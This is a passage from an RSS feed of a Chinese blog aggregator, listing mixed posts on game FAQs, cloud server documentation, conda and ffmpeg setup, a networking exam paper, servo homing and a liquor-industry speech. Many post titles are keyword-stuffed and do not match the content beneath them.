&#xA;A：当过多的道具堆在一起时，拾取物品和使用物品会有优先级，如果发现角色和想要的行为不同请勿惊慌，操作熟练以后就可以很好地把控啦。&#xA;10、&#xA;Q：特权礼包每天使用会有上限吗?&#xA;A：特权礼包每天只能领一次，领了礼包后，特权将升级，将无法领取更高等级的特权礼包。小伙伴们还请谨慎领取。&#xA;11、&#xA;Q：金钥匙玩法不是说在最后的寻找金钥匙和金洞期间，不会出现提醒吗?为什么我会有，是不是BUG了?&#xA;A：不是的哦，金钥匙玩法中如果出现了金洞的提示，其实是秘密通道刷新出现了，提示小伙伴们无需通过找寻金钥匙，可以直接从秘密通道逃脱。&#xA;游戏内测相关篇&#xA;1、&#xA;Q：是否有内测奖励?若有内测奖励，怎么进行领取?&#xA;A：此前如参与过内测且满足获奖条件的玩家，可领取内测奖励。我们会每天定时发送内测奖励邮件，如您创建角色后未收到奖励邮件，请耐心等待。若创建角色24小时后未收到邮件，请向客服反馈。(客服电话：95163522游戏内客服：更多-精灵-客户服务)&#xA;2、&#xA;Q：内测奖励是否区分渠道?&#xA;A：会区分渠道，还请使用同一渠道的同一账号登录游戏，以方便领取奖励。&#xA;3、&#xA;Q：奖励领取错误可以重新补领吗?&#xA;A：内测奖励是统一通过邮件发放的，如有错误请联系客服。(客服电话：95163522游戏内客服：更多-精灵-客户服务)&#xA;4、&#xA;Q：上次更新我是在TapTap里下载的，这次下载安装没有用TapTap的包，里面充了1000多该怎么办?&#xA;A:遇到这种情况的玩家，请重新在TapTap下载，而后再登陆;同理，其他渠测时有充值记录的玩家，请务必使用同一渠道同一账号登录游戏，以领取充值返还奖励。&#xA;5、&#xA;A：游戏公测是否会继承之前删档内测的数据?&#xA;Q：抱歉，删档内测的数据在相关测试结束后都会删除。&#xA;6、&#xA;A：对于参加过2018年2月、4月、6月、7月测试的老玩家，且拥有以下角色、道具和代币的玩家，将在公测后获得怎么样的返还?&#xA;Q：首先十分抱歉，由于公测版本较之前不删档测试时的变化差距过大，小伙伴们公测后进入游戏会是一个新账号的形式。但是我们会通过对这部分老玩家登陆的账号进行判定，把之前不删档测试时的相关物品通过邮件的形式返还给大家，包括角色、头像框、头像及代币等。&#xA;具体包括的物品如下：&#xA;角色：侦探杰瑞、罗宾汉杰瑞、海盗杰瑞&#xA;头像框：蜜桃粉头像框、忧郁蓝头像框、土豪金头像框、凡尔赛头像框&#xA;头像：罗宾汉杰瑞头像、国王杰瑞头像、春节泰菲头像&#xA;代币：免费钻石、金币、银币、知识结晶、知识点、熟练度&#xA;举个例子：一位玩家在2018年7月测试时，拥有侦探杰瑞、春节泰菲头像、500金币，则在公测后仍能获得侦探杰瑞、春节泰菲头像、500金币的返还。&#xA;游戏中遇到异常问题该怎么处理&#xA;游戏异常问题篇&#xA;1、&#xA;Q：若在推奶酪过程中无反应怎么办?&#xA;A：遇到这种情况，还请尝试关闭游戏进程后重新连接。</description>
    </item>
    <item>
      <title>火影忍者手游打秘境服务器响应超时,火影忍者手游秘境全攻略 新版秘境打法细节说明...</title>
      <link>https://bchobby.github.io/posts/b5b4ae95728db856ff75bf5479ae2d63/</link>
      <pubDate>Thu, 12 Aug 2021 21:35:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b5b4ae95728db856ff75bf5479ae2d63/</guid>
      <description>随着新版本的更新，秘境的玩法也从自由选择秘境变成了随机匹配秘境，于是乎熟悉各类秘境对于通关秘境变得尤为重要。如果有队友不了解秘境地图，老司机也偶尔会翻翻小车，为了大家在秘境里愉快的玩耍，今天小编整理了所有秘境的玩法和攻略，学员们要记得仔细看哦。&#xA;烈炎秘境&#xA;尽量控制与BOSS的距离，近身攻击会被它身上的火炎烧到，如果自身魔抗低的话还是很疼的。之后会出现4个分身，分身的攻击力并不大，但是很敏捷。当看到屏幕中有字体提示“注意躲避BOSS黑祸攻击”的时候，一定要以最快的速度跑开。在BOSS“黑锅”砸地攻击时灵活躲避开，在他技能冷却时(只会向前走)打出伤害。&#xA;毒风秘境&#xA;封印解开后，会出现三个毒风忍偶持续释放风阵。这个时候需要优先击杀右方的忍偶，因为只有击败这个忍偶才能打开毒风结界。结界会持续消耗自身的血量，所以必须速战速决。&#xA;首先得到秘卷并躲掉毒雾，BOSS刚出来几秒处于霸体状态，先不要急着攻击。这个秘境使用连招比较强的忍者通关不是问题！&#xA;雷霆秘境&#xA;雷霆BOSS是藏在一个大雷球里，上来先不要急着攻击雷球，注意自己脚下，屏幕也有提示注意躲避雷击。每次雷击前会有红色小圈作为提示，灵活躲避开就好。连续多次天降雷击过后，就可以安心攻击雷球了，只要打破雷球才可以攻击到BOSS本体。&#xA;水牢秘境&#xA;水牢秘境要注意一开始出现的忍偶，当他们被攻击后起身时，会召唤出一只忍偶分身，如此反复周而复始。而在场的忍偶分身是会释放水龙卷，所以尽量选择能够施展无限连招的忍者，注意不能把BOSS打进水里。之后会出现移速相当缓慢的水泡，一旦被触碰到，就会产生一次较长时间的浮空状态，只能依靠对友来救，所以格外留意走位。&#xA;阴阳秘境&#xA;此关对队友之间的配合度要求较高，附着阴属性的打黑忍偶，附着阳属性的打白忍偶。如果附着阴属性的打白的话，忍偶不掉血，注意还有四个忍偶是打不死的。这就需要其中一个人吸引住忍偶分身并把加血的忍偶打掉。黑跟白的BOSS时常换，所以队友之间的配合要有默契。&#xA;落岩秘境&#xA;一开始的时候BOSS会出现在背后释放岩落，可以利用它来清除地上的两排石柱。之后BOSS会释放陨石术，在陨石落下前打破BOSS藏身的石像，便能阻止陨石落下。这时候可以留着大招，跟着中间的石像等它停下不动的时候，直接释放两技能加大招打出伤害。&#xA;喜欢玩火影的玩家可以下载《火影忍者手游攻略》，</description>
    </item>
    <item>
      <title>浏览器和服务器之间交换数据使用什么协议,2003年10月高等教育自学考试物联网技术试题...</title>
      <link>https://bchobby.github.io/posts/385868f25d89e486bd1c653339adca25/</link>
      <pubDate>Thu, 12 Aug 2021 19:28:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/385868f25d89e486bd1c653339adca25/</guid>
      <description>2003年10月自考物联网技术一历年真题汇总&amp;gt;&amp;gt;&amp;gt;自考物联网技术&#xA;为大家整理的自考物联网技术专业《2003年10月高等教育自学考试物联网技术试题》，供您查阅：&#xA;一、单项选择题(在每小题的四个备选答案中，选出一个正确答案，并将正确答案的序号填在题干的括号内。每小题2分，共40分)&#xA;1.网络中，具体实现比特流发送和接收的层次是( )&#xA;A.物理层 B.数据链路层&#xA;C.网络层 D.应用层&#xA;2.以太网中，帧的目的地址标识为组播时，表示接收该帧的站点有( )&#xA;A.零个站 B.一个站&#xA;C.多个站 D.全部站&#xA;3.任意两个站之间通信均要通过公共中心的网络拓扑结构是( )&#xA;A.星型 B.总线型&#xA;C.环型 D.树型&#xA;4.千兆位以太网的半双工模式中采用帧突发技术的目的是( )&#xA;A.扩大网络跨距 B.提高带宽利用率&#xA;C.提高抗干扰性 D.提高安全性&#xA;5.以太网定义的最大帧长度为( )&#xA;A.128字节 B.512字节&#xA;C.1518字节 D.4096字节&#xA;6.用单模光纤作媒体的快速以太网(100BASEFX)，在全双工条件下，网段距离最大可达( )&#xA;A.100m B.1000m&#xA;C.2000m D.40km&#xA;7.FDDI标准体系结构中，层管理(LMT)完成的功能是( )&#xA;A.仅对一个站的LLC子层的进程进行管理&#xA;B.仅对一个站的应用层的进程进行管理&#xA;C.仅对一个站的MAC、PHY层的进程进行管理&#xA;D.对一个站的MAC、PHY、PMD层的进程进行管理&#xA;8.采用穿通交换方式的交换器，其最主要的优点是( )&#xA;A.帧传输可靠 B.端口间交换时间短&#xA;C.可缓存帧 D.可进行差错检验&#xA;9.差分曼彻斯特编码规定“1”表示( )&#xA;A.高电平 B.比特开始和中间均跳变&#xA;C.只在比特中间跳变 D.低电平&#xA;10.路由器实现路由的依据是数据包中的( )&#xA;A.源MAC地址 B.目的MAC地址&#xA;C.源IP地址 D.目的IP地址&#xA;11.VLAN工作在OSI参考模型的( )&#xA;A.第一层 B.第二层&#xA;C.第三层 D.高层</description>
    </item>
    <item>
      <title>云服务器机型系统选择,云服务器机型选择哪个系统</title>
      <link>https://bchobby.github.io/posts/c22e9b2697aec833addbe34fd0b762c3/</link>
      <pubDate>Thu, 12 Aug 2021 19:19:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c22e9b2697aec833addbe34fd0b762c3/</guid>
      <description>云服务器机型选择哪个系统 内容精选&#xA;换一换&#xA;请您在购买前确保已完成注册和充值。详细操作请参见如何注册公有云管理控制台的用户？登录管理控制台。单击管理控制台左上角的，选择区域和项目。选择“计算 &amp;gt; 弹性云服务器”。单击“购买弹性云服务器”。系统进入购买页。SAP HANA(High-Performance Analytic Appliance)是基于内存计算技术的高性能实时数据计算平&#xA;当您购买的弹性云服务器规格无法满足业务需要时，可参考本章节变更规格，升级vCPU、内存。对于部分类型的弹性云服务器，您还可以在变更规格时，更换弹性云服务器的类型。“XEN实例”变更为“KVM实例”，需先手动配置弹性云服务器，安装对应的驱动，然后再变更规格。否则，规格变更后的弹性云服务器不可用(操作系统可能无法启动)。“XEN实例”变更为“&#xA;云服务器机型选择哪个系统 相关内容&#xA;使用华为云提供的公共镜像制作私有镜像时，您需先购买云主机等云资源时镜像选择公共镜像、云服务器类型建议统一选择“s3 (通用计算型)”，在云主机安装部署完商品，然后参照以下方式进行私有镜像制作。在华为云购买制作镜像所需的弹性云服务器时应注意：强烈建议弹性云服务器规格选择通用计算型或通用计算增强型，内存优化型、高性能计算型、磁盘增强型、GPU&#xA;本节介绍将Windows操作系统的KVM实例变更为擎天架构实例的操作步骤。KVM实例：参考规格清单，查询对应规格的虚拟化类型。擎天架构实例：选择“通用计算增强型C7”。变更规格时不支持修改网络类型。擎天实例仅支持使用SCSI磁盘模式挂载磁盘，不支持使用VBD磁盘模式挂载磁盘。即磁盘标识为wwn。支持将“KVM实例”变更为“擎天实例”，不支&#xA;云服务器机型选择哪个系统 更多内容&#xA;使用弹性云服务器携带其挂载的数据盘一起创建整机镜像，创建的整机镜像包含操作系统、应用软件，以及用户的业务数据，可用于快速发放相同配置的弹性云服务器，实现数据搬迁。创建整机镜像的流程：先为云服务器创建云服务器备份，再通过云服务器备份创建镜像，中间过程为系统自动完成的，您只需要耐心等待即可。创建整机镜像的时间与磁盘大小、网络状态、并发任务数等&#xA;云服务器组是对云服务器的一种逻辑划分，云服务器组中的弹性云服务器遵从同一策略。当前仅支持反亲和性，即同一云服务器组中的弹性云服务器分散地创建在不同的主机上，提高业务的可靠性。您可以使用云服务器组将业务涉及到的云服务器分散部署在不同的物理服务器上，以此保证业务的高可用性和底层容灾能力。云服务器组支持以下操作：创建云服务器组添加云服务器到云服&#xA;若您对扩展的云服务器的规格有特殊的要求，可通过使用新模板创建伸缩配置，可按照您的需求配置新模板的规格参数，使得伸缩组内云服务器的规格均符合创建新模板的规格。登录管理控制台。选择“计算 &amp;gt; 弹性伸缩 &amp;gt; 伸缩实例”。单击“创建伸缩配置”。填写弹性伸缩配置信息，例如，名称、配置模板、云服务器的镜像、云服务器类型等。配置数据说明如表1所示。伸缩&#xA;本节介绍将Linux操作系统的KVM实例变更为擎天架构实例的操作步骤。KVM实例：参考规格清单，查询对应规格的虚拟化类型。擎天架构实例：选择“通用计算增强型C7”。变更规格时不支持修改网络类型。Linux操作系统云服务器如果存在由多个物理卷组成的LVM逻辑卷或组建了RAID磁盘阵列，均不支持变更规格，否则可能会导致数据丢失。擎天实例仅支持&#xA;当您购买的云服务器规格无法满足业务需要时，可参考本章节变更规格，升级vCPU、内存。对于部分类型的云服务器，您还可以在变更规格时，更换云服务器的类型。变更云服务器规格时，用户不能选择已售罄的CPU和内存资源。云服务器规格(CPU或内存)变小，会影响云服务器的性能。当云硬盘状态为“正在扩容”时，不支持变更所挂载的云服务器规格。Windows&#xA;将挂载在云服务器中的磁盘卸载。对于挂载在系统盘盘位(也就是/dev/sda或/dev/vda挂载点)上的磁盘，当前仅支持离线卸载。即卸载磁盘时，云服务器需处于“关机”状态。对于挂载在数据盘盘位(非/dev/sda挂载点)上的磁盘，不仅支持离线卸载，在使用部分操作系统时，还支持在线卸载磁盘功能。此时，云服务器处于“运行中”状态。本节旨在介绍&#xA;当您在升级云服务器的配置的同时，还想要将云服务器迁移到其他的AZ或Region时，您可以使用华为云的整机镜像进行迁移，迁移流程如图1所示。这里以迁移HANA数据库为例。登录管理控制台后，选择服务列表计算镜像服务。在刚创建镜像的操作列，单击更多复制。根据界面提示配置参数，具体请参考表1。配置参数参数名称描述示例复制类型根据实际复制类型。跨区&#xA;切换操作系统是为您的弹性云服务器重新切换一个系统盘。切换完成后弹性云服务器的系统盘ID会发生改变，并删除原有系统盘。如果弹性云服务器当前使用的操作系统不能满足业务需求(如软件要求的操作系统版本较高)，您可以选择切换弹性云服务器的操作系统。公有云平台支持不同镜像类型(包括公共镜像、私有镜像、共享镜像以及市场镜像)与不同操作系统之间的互相切换&#xA;运行在专属主机和普通ECS主机上的云服务器所支持的功能基本相同，仅表1所列功能不同。&#xA;切换操作系统是为您的云服务器重新切换一个系统盘。切换完成后云服务器的系统盘ID会发生改变，并删除原有系统盘。如果云服务器当前使用的操作系统不能满足业务需求(如软件要求的操作系统版本较高)，您可以选择切换云服务器的操作系统。使用市场镜像创建的“包年/包月”云服务器不支持切换操作系统。使用私有镜像切换操作时，仅支持使用系统盘镜像或整机镜像。云</description>
    </item>
    <item>
      <title>Conda配置虚拟环境 jupyter notebook使用虚拟环境</title>
      <link>https://bchobby.github.io/posts/fb782dfded715e9ea084b161f75f5352/</link>
      <pubDate>Thu, 12 Aug 2021 18:32:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fb782dfded715e9ea084b161f75f5352/</guid>
      <description>创建虚拟环境，指定python版本&#xA;conda create -n env_name python=3.8.1 查看环境&#xA;conda info --env 进入虚拟环境&#xA;conda activate env_name 在虚拟环境下安装ipykernel&#xA;conda install ipykernel 将创建的虚拟环境写入到jupyter notebook中&#xA;python -m ipykernel install --user --name tensorflow --display-name tensorflow 搞定。&#xA;PS：如果虚拟环境中没有安装jupyter notebook，就安装上。</description>
    </item>
    <item>
      <title>ffmpeg使用h264、h265编码转换</title>
      <link>https://bchobby.github.io/posts/ebf438dfc18bf1e04c29f3f13072094f/</link>
      <pubDate>Thu, 12 Aug 2021 18:25:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ebf438dfc18bf1e04c29f3f13072094f/</guid>
      <description>1、编译x264&#xA;git clone https://code.videolan.org/videolan/x264.git cd x264 ./configure --enable-shared --enable-static --disable-asm make make install cp /usr/local/lib/libx264.so.164 /lib x264, the best H.264/AVC encoder - VideoLAN&#xA;2、编译x265 hg clone http://hg.videolan.org/x265 cd x265/build/linux/ ./make-Makefiles.bash make make install x265, the free H.265/HEVC encoder - VideoLAN&#xA;3、编译ffmpeg&#xA;./configure --enable-libx265 --enable-libx264 --enable-gpl make make install ffmpeg添加libx265_幽雨雨幽-CSDN博客&#xA;4、h264、h265编码转换&#xA;ffmpeg -i input.mp4 -c:v libx265 output.mp4 ffmpeg -i input.mp4 -c:v libx265 output.h265 ffmpeg -i input.mp4 -c:v libx265 output.hevc ffmpeg -i input.</description>
    </item>
    <item>
      <title>茅台主页服务器维护,汪俊林：维护茅台引领，做优产区品牌</title>
      <link>https://bchobby.github.io/posts/32067009eb1d80c1b1d72bd5f7edfaf3/</link>
      <pubDate>Thu, 12 Aug 2021 17:50:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/32067009eb1d80c1b1d72bd5f7edfaf3/</guid>
      <description>6月8日，“同心同向聚势前行——世界酱香型白酒核心产区企业共同发展宣言签署仪式”在茅台国际大酒店举行。仪式上，郎酒集团董事长汪俊林说，维护茅台引领，做优产区品牌。以下为发言全文。&#xA;今天，我们赤水河两岸的茅台、郎酒、习酒、国台、钓鱼台、珍酒、劲牌酱酒的领导们齐聚一堂，为建设好、发展好酱酒核心产区建言献策，共谋产业发展，共创酱香未来，这是中国酱香型白酒行业的一件盛事，必将产生深远影响，我很高兴能够参与进来。&#xA;“世界酱香型白酒核心产区”概念的提出，和“共同发展宣言”的发布，符合中国酱香白酒品质提升、品牌建设、品味互动的根本发展需求，郎酒全心参与、鼎力支持，我认为：&#xA;建设世界酱酒核心产区，首先是建设环境友好型的生态产区，坚实保障酱酒酿造高品质。&#xA;产区涵盖了赤水河上下游川黔两省的广袤土地，群山环峙、温润少风、酒菌活跃，汇集了上百家规模不等的酱酒企业，是酿造高品质酱酒的天选之地。&#xA;建设世界酱酒核心产区，其次是建设产业可持续的人文产区，打造各具特色的品牌集群。&#xA;产区内有着独特的酱酒人文积淀，汇聚了重要的酱酒酿造遗产，传承了绵延千年的酿造工艺，各个酱酒品牌蓬勃发展，各美其美，美美与共。&#xA;建设世界酱酒核心产区，第三是建设产业带动的消费者互动产区，促进酱酒产业品味升级。&#xA;品质、品牌的发展有效推动酱酒产业链、基础设施建设等领域的发展，提升酱酒产业影响力，带动体验、参观、旅游、服务等产业发展，产区消费者互动日益密切，产区品味与日俱新。&#xA;聚力企业优势，推动产区发展，我提出以下几点建议：&#xA;一、维护茅台引领，做优产区品牌&#xA;维护茅台就是维护酱酒行业和在座的酱酒品牌。&#xA;茅台是酱香白酒行业内的老大哥，是我们的榜样，也是我们的标杆，在茅台带领下，我们一起做优核心酱酒产区这个金字招牌，把我们产区的品牌 质量做得更好。&#xA;二、找准各自特色，强化产区意识&#xA;产区内酱酒企业虽然规模不等，只要找准各自定位，就会各具特色，和而不同，大家共同发展，就会迎来百花齐放、风格多元的产区春天。&#xA;三、做好产品品质，提升产区价值&#xA;提升产品品质，正心正德，敬畏自然，崇尚科学，酿好酒。拒绝粗制滥造，对消费者负责，推动产区高品质发展。&#xA;四、积极竞合发展，扩大产区优势&#xA;加强竞合发展，整合产区资源，产区内品牌相互竞争，共同提高，形成良性、有序、既竞争又合作的发展格局，酱香抱团对外，扩大产区优势，向市场要更大效益。&#xA;让我们一起同心同向 、聚势前行，做优酱酒品质，做强酱酒品牌，做高酱酒品味，履行更大社会责任，建立在品质、品牌、品味基础上的世界酱香型白酒核心产区，必将成为全球一线的知名酿酒产区，必将带动酱酒产业高质量、可持续发展。&#xA;举报/反馈</description>
    </item>
    <item>
      <title>服务器位置控制怎么找原点,伺服控制为什么要进行原点回归？怎样实现原点回归？...</title>
      <link>https://bchobby.github.io/posts/ae9a49424eec8a178f25f5d7f78e6a4c/</link>
      <pubDate>Thu, 12 Aug 2021 17:25:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ae9a49424eec8a178f25f5d7f78e6a4c/</guid>
      <description>原标题：伺服控制为什么要进行原点回归？怎样实现原点回归？&#xA;在进行伺服定位操作之前，一般都需要先进行原点回归，否则伺服电机不能正常工作，会报警提示「原点回归未完成时启动」。&#xA;那么，为什么要进行原点回归？怎样进行原点回归的操作呢？&#xA;伺服运动控制的原点回归&#xA;一、原点回归的必要性&#xA;1 所谓定位，就是要让伺服电机走到一个确定的位置。&#xA;2 这个位置可以是增量式的，也可以是绝对式的。打个比方，我们现在在路上，我们要往前走 10 米，相当于我们的位置要往前增加十米，这个十米就是一个位置增量。&#xA;3 而如果我们要去这条街上某处地方的咖啡店，我们就需要知道它的确切地址，假设这条街的地址不是门牌号，而是从街的一端开始为 0 米(基准位置)，这样就能确定这条街上每个位置的地址，比如这家咖啡店的地址是这条街 100 米的位置，那么这个 100 米就是一个绝对位置，我们不管在哪一个位置，都能通过走到这条街 100 米的位置找到这家咖啡店。&#xA;4 在定位指令里，就分为增量式的 INC 指令和绝对式的 ABS 指令。&#xA;5 增量(INC)方式&#xA;以当前停止的位置为起点，指定移动方向和移动量后进行定位。&#xA;6 绝对值(ABS)方式&#xA;定位到指定的地址，该地址是以原点为基准的位置。&#xA;7 所以，当我们需要进行绝对式定位时，我们就需要对应的机械系统上具有地址，这也就需要一个基准位置，通过这个基准位置去确定机械系统上的每个位置的地址。而这个基准位置，在伺服定位系统里称为原点。&#xA;二、两个信号&#xA;1 在三菱的伺服定位系统里，有两个关于原点的关键信号：&#xA;2 原点回归请求信号(原点复位请求标志)&#xA;这个信号 ON 的时候，说明伺服系统目前没有原点，需要进行原点回归。&#xA;3 原点回归完成信号(原点复位完成标志)&#xA;当原点回归执行完成时，该信号会 ON。然后如果执行定位或者其他正常方式使得伺服电机离开原点位置时，该信号会 OFF，但是此时原点还是存在的。&#xA;4 判断是否需要原点回归可以借助原点回归请求信号，而不应该借助原点回归完成信号。&#xA;对于增量式系统，每次断电复位、重新上电之后都需要进行原点回归。&#xA;5 对于绝对式系统，由于伺服放大器装有电池(也需要在参数里设置使用绝对位置系统)，可以保持伺服电机的位置，所以一般情况下，只需要在刚搭建系统时进行一次原点回归即可。当然如果后续发生原点位置丢失等情况，就要重新进行原点回归了。这里是否需要原点回归也可以通过原点回归请求信号是否为 ON 来判断。&#xA;三、常见的原点回归方式&#xA;1 数据设定型&#xA;这种方式是把当前的位置设置为原点。所以，这个时候不管伺服电机停在哪一个位置，只要进行数据设定型原点回归，现在这个位置就是原点位置。所以，这种方式下的原点回归操作，伺服电机是不会动的!&#xA;2 当伺服不需要进行绝对值定位时，比如只是速度控制、转矩控制，或者只需要增量式定位时，都可以使用这种方式。&#xA;3 伺服参数里默认是原点设定条件选择为『电源开启后需要通过伺服电机 Z 相』，所以在进行这种数据设定型原点回归时，要么把这个参数设置为『电源开启后不需要通过伺服电机Z相』，要么先进行 JOG 使伺服电机转动一转以上，再进行原点回归。&#xA;4 近点 DOG 型</description>
    </item>
    <item>
      <title>bmob云服务器信息推送,FAQ-Bmob后端云</title>
      <link>https://bchobby.github.io/posts/6734d043fe535cf804cce4de20241878/</link>
      <pubDate>Thu, 12 Aug 2021 17:18:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6734d043fe535cf804cce4de20241878/</guid>
      <description>Q:&#xA;Bmob 平台是做什么的？&#xA;A:&#xA;Bmob 是多租户无模式的移动应用云服务，它可以让 android/IOS/WP 等移动开&#xA;发者无需掌握任何一门服务器开发语言(如 JAVA/PHP 等)，将注意力完全专注于&#xA;移动客户端的开发。您仅需要在一分钟内简单地在 Bmob 平台上注册一个账户和创&#xA;建 APP 移动应用对应的数据库，就可以通过 Bmob 提供的SDK进行数据的增删改查操&#xA;作。除此之外，Bmob 专门为移动开发提供了针对 LBS 的地理位置查询接口、即时&#xA;信息推送接口，同时，Bmob 还提供了详细的数据报告分析功能，让您可以在 Bmob&#xA;的后台查看到您发布的应用的详细信息，如每日启动用户、活跃用户、终端分辨&#xA;率等，让您的应用推广更有针对性，得到更高的收益。&#xA;Q:&#xA;为什么选择 Bmob？&#xA;A:&#xA;Bmob 是国内第一家专注于提供给开发者移动应用云服务的平台，我们团队有丰富扎实的研发经验，团队成员均来自谷歌、百度、华为、腾讯等移动互联网行业。研发 Bmob 的目的是为了让移动开发者从开发的噩梦中解脱，将开发的关注力集中在创意研发中，让开发变成是一件非常快乐的事情。&#xA;Q:&#xA;Bmob 的平台稳定么？&#xA;A:&#xA;Bmob 采用南北双线，多路分流的方式，将服务器部署在全国各个大型机房中，采用7层负载均衡技术，确保所有的数据信息都是安全稳定的。&#xA;Q:&#xA;Bmob 在数据安全上做了哪些方面安全措施！数据可以备份么？？&#xA;A:&#xA;Bmob 在机房部署时除采用传统的7层负载均衡之外，在云端中还采用了多租户虚拟化的技术，确保各个应用之间是完全隔离的状态，即其中一个应用发生任何变化，都不会影响到其他应用的正常运行。&#xA;Q:&#xA;Bmob 支持的数据类型有那些？&#xA;A:&#xA;Bmob 目前支持的数据类型有 String(字符串)、Number(数值，包括整数和浮点数)、Boolean(布尔值)、Date(日期)、File(文件)、Geopoint(地理位置)、Array(数组)、Object(对象)&#xA;Q:&#xA;如何嵌入 Bmob SDK？&#xA;A:&#xA;非常简单，您首先根据自己的选型下载相应版本的SDK，然后将其加载到开发工具中就可以调用了。如 Android 开发者只需要将其加载到 eclipse 的类库中，就可以调用 Bmob 提供的各类 API。&#xA;Q:</description>
    </item>
    <item>
      <title>扮家家安装显示与服务器连接超时,【2019最新版】扮家家云渲染客户端常见问题...</title>
      <link>https://bchobby.github.io/posts/7e61523962e4a0c7b04d7bc2afcca368/</link>
      <pubDate>Thu, 12 Aug 2021 17:13:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7e61523962e4a0c7b04d7bc2afcca368/</guid>
      <description>常见问题&#xA;1.两个账号上的余额能互转吗？&#xA;每个账号的消费和充值都是独立的，不能够互转。&#xA;2.赠送金额的钱怎么才能使用？ 账户余额上的金额用完会自动扣取赠送金额的&#xA;3.同一个云渲染账号能同时在多台电脑登录吗？&#xA;可以。每个客户端会自动显示当前所有任务状态信息。&#xA;4.提交渲染后客户端可以关机吗？提交了渲染，我3D可以关吗?&#xA;提交任务后显示打包状态，就可以关闭MAX 。上传完毕，可以关机。会自动渲染的。&#xA;5.打开客户端提示“与服务器连接失败”&#xA;解决方法：&#xA;①．可能是由于客户端旧版，请卸载旧版本，下载最新版本重新安装。&#xA;②．可能是网络问题，可以打开电脑的“命令提示符”输入“netsh winsock reset”然后回车，系统提示重启，重启电脑后再尝试登陆。&#xA;6.客户端打包要多久，怎么没有进度？&#xA;打包时间根据您的文件大小来确定，一般打包时间不超过15分钟。&#xA;如果打包有进度的话，是正常打包中的。打包进度显示“/”的，需要重新提交。&#xA;7.文字渲染丢失？&#xA;文字需要先塌陷再提交渲染。&#xA;8.如何设置自动下载？&#xA;您可以在客户端上的系统设置上设置好下载目录的路径，在自动下载选择“本地”保存好设置后下次渲染完的任务就会自动下载的了，如果没有设置是需要手动下载文件的。&#xA;9.如何设置自动发送到邮箱？&#xA;您可以在客户端上的“个人中心”上绑定邮箱，在自动下载选择“邮箱”保存好设置后下次渲染完的任务就会自动发送到邮箱的了&#xA;10.成图保存和源文件保存多长时间？&#xA;成图保存14天，源文件是保存7天的，超过时间系统将自动删除&#xA;11.中途停止能下载到已经渲染的部分吗，费用如何收取？&#xA;中途停止是可以下载到已经渲染那部分的图片的，费用也会按照已用&#xA;的渲染时间收费的。&#xA;12.提交任务时提示“文件...已损坏，是否重新保存？”&#xA;检查电脑的C盘是不是满了。如果是满了的，清理后再提交任务。&#xA;13.安装后3dmax打开没有扮家家选项或显示缺少。&#xA;打开3dmax后点击扮家家选项显示。缺少：发布任务扮家家&#xA;解决办法：&#xA;①.您可以先退出3dmax，然后点击客户端右上角的齿轮图标，进入系统设置，点击“安装插件”直接点击自动安装。等待安装完毕重新打开3dmax。&#xA;②.检查3dmax的启用脚本是否有勾上，没有的话勾上然后重新打开3dmax。&#xA;14.打开3dmax后扮家家选项乱码&#xA;解决方法：&#xA;①、 单击“Customize”菜单 -&amp;gt; “Preferences”菜单项，在弹出的“Preference Settings”对话框里选择“Files”选项卡。&#xA;②、在出现的如下图所示的“Preference Settings”对话框中，单击“Default Language”下拉列表框，选择“Chinese”&#xA;③、重启3ds Max。</description>
    </item>
    <item>
      <title>网关消息认证服务器不可达,网关信息认证服务器不可达</title>
      <link>https://bchobby.github.io/posts/5fea739597dc466787bbaf0d4c2ed618/</link>
      <pubDate>Thu, 12 Aug 2021 16:37:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5fea739597dc466787bbaf0d4c2ed618/</guid>
      <description>网关信息认证服务器不可达 内容精选&#xA;换一换&#xA;通过以下方法确保API网关调用后端服务器的安全：为API绑定签名密钥。在绑定签名密钥后，API网关到后端服务的请求增加签名信息，后端服务收到请求后计算签名信息，验证计算后的签名信息与API网关的签名信息是否一致。在绑定签名密钥后，API网关到后端服务的请求增加签名信息，后端服务收到请求后计算签名信息，验证计算后的签名信息与API网关的签名&#xA;API的响应码如何定义？响应信息由后端API服务定义，API网关只做透传。响应信息由后端API服务定义，API网关只做透传。使用VPC通道，后端服务的主机端口怎么填写？填写API后端服务监听的端口。填写API后端服务监听的端口。使用VPC通道，后端服务是否支持绑定ELB地址？不支持。建议使用专享版API网关，可直接使用ELB地址作为后端。&#xA;网关信息认证服务器不可达 相关内容&#xA;使用华为云备案系统时，全国互联网安全管理服务平台会有一些限制条件，具体限制条件请参见表1。&#xA;是否支持多后端节点？通过VPC通道支持多后端节点。一个VPC通道中可以添加多个云服务器。通过VPC通道支持多后端节点。一个VPC通道中可以添加多个云服务器。部署在华为云上的服务如何开放？如果部署在华为云上的服务绑定了公网IP地址，在API网关中创建API时，使用“公网IP地址:端口号”作为后端服务地址。如果此服务已绑定域名，则优先使用域名&#xA;网关信息认证服务器不可达 更多内容&#xA;网关创建成功以后，用户需初始化网关，建立本地网关到CSG管理控制台的连接。本章节详细介绍了如何初始化网关，为用户快速了解CSG网关初始化配置提供指导。已在本地服务器正确安装网关。已在CSG管理控制台成功创建网关。浏览器可连接到网关IP。网关IP推荐使用内网IP，该IP地址无需公网访问，请参考获取网关IP。用户在CSG管理控制台初始化网关时&#xA;用户要使用CSG，首先要注册一个华为云帐号，才有访问华为云资源的权限。目前CSG服务处于公测阶段，需要申请公测并通过审核才能使用，商用后自动开通。此外为确保用户能正确快速使用CSG服务，用户需提前准备符合要求的部署网关的客户端环境。本小节主要介绍了如何开通CSG服务，同时介绍了CSG推荐使用的组网和端口配置。如果您已有一个华为云帐号，请跳&#xA;网关响应指ROMA API未能成功处理API请求，从而产生的错误响应。ROMA 